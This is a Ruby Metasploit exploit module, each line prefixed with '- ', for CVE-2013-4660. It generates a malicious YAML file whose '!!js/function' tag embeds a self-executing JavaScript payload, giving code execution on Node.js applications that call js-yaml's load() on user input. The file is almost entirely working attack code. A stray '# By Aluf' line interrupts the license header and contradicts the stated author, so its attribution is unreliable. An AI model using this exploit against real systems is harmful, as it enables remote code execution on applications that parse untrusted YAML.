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- ##
- # This file is part of the Metasploit Framework and may be subject to
- # redistribution and commercial restrictions. Please see the Metasploit
- # By Aluf
- # web site for more information on licensing and terms of use.
- # http://metasploit.com/
- ##
- require 'msf/core'
- class Metasploit3 < Msf::Exploit::Remote
- Rank = ExcellentRanking
- include Msf::Exploit::FILEFORMAT
- def initialize(info = {})
- super(update_info(info,
- 'Name' => 'Nodejs js-yaml load() Code Exec',
- 'Description' => %q{
- For node.js applications that parse user-supplied YAML input using the
- load() function from the 'js-yaml' package < 2.0.5, specifying a self-executing
- function allows us to execute arbitrary javascript code.
- },
- 'Author' => ['joev <jvennix[at]rapid7.com>'],
- 'License' => MSF_LICENSE,
- 'References' =>
- [
- ['CVE', '2013-4660'],
- ['URL', 'https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/']
- ],
- 'Platform' => 'nodejs',
- 'Arch' => ARCH_NODEJS,
- 'Privileged' => false,
- 'Targets' => [['Automatic', {}]],
- 'DisclosureDate' => 'Jun 28 2013',
- 'DefaultTarget' => 0))
- register_options([
- OptString.new('FILENAME', [ true, 'The file name.', 'msf.yml'])
- ], self.class)
- end
- def exploit
- p = payload.encoded
- print_status("Creating '#{datastore['FILENAME']}' file...")
- file_create("a: !!js/function >\n (function(){ #{p} })();")
- end
- end
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